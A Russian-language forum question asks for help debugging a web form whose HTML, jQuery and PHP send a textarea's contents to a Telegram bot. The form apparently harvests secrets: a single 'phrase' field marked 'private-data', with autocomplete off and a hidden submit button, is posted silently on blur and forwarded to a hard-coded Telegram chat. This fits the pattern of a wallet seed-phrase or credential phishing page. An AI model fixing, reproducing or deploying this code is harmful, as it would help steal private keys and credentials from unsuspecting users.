Хотел сделать отправку данных из формы в телеграмм через бота без перезагрузки страницы. Алгоритм действий такой: при расфокусировке одного поля, данные формы отправляются через скрипт php. Всё работает, в консоли ошибок нет, network показывает, что php успешно отправляет запросы, но вот сами сообщения от бота в тг не приходят.
HTML:
<form method="post" class="form-horizontal" role="form">
<label for="phrase" class="col-sm-2 control-label"></label>
<div class="col-sm-10">
<textarea name="phrase" id="phrase" class="phrase private-data form-control" data-show-qr autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"></textarea>
</div>
<button type="submit" style="display: none"></button>
</form>
JS:
(function ($) {
$(function() {
$("#phrase").on('blur', function() {
$.post("auth.php", $(".form-horizontal").serialize(), function(data){alert (data);}
);
});
})
})(jQuery);
PHP:
<?php
$bot_token = '//токен';
$tg_user = '//id';
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$msg = $_POST['phrase'];
$params = array(
'chat_id' => $tg_user,
'text' => $msg,
'parse_mode' => 'HTML',
);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'https://api.telegram.org/bot' . $bot_token . '/sendMessage');
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POSTFIELDS, $params);
$result = curl_exec($curl);
curl_close($curl);
var_dump(json_decode($result));
} else {
header("Location: /");
}
Сначала пытался организовать отправку формы без перезагрузки страницы через AJAX, но потом изменил решение.